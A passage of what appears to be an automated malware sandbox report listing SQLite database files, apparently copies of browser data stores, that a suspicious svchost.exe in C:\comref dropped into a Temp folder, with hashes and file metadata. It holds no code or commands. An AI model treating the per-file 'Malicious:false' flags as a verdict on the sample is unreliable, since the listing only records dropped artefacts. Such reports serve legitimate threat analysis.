                                                                      Preview:SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\7xNyfuPjyQ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\8DweHohget

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\8KWzRjf0E5

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\8XYzirlAm1

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\8ZF8QOhHyg

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\8dloKcchxT

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\8fh5pyc1q9

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\8mwrpEjS7h

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\8xNXwtDFDT

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\93N8RmtgXL

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9AOGUJO0fJ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9GsCBt7qkO

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9I8QAiKEJP

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9IsaFAf874

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9N0NQ1Rzcv

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9TnQtAebYk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9gvbbcUMnO

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9xjGbmr9fE

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9yu961xB15

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\9zNnFcnwMW

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\AIoLO0shx1

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\AKDTiQO40n

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\AMXqSHCB0s

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\AUmCJkd6yU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\AXYHnIWDRh

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
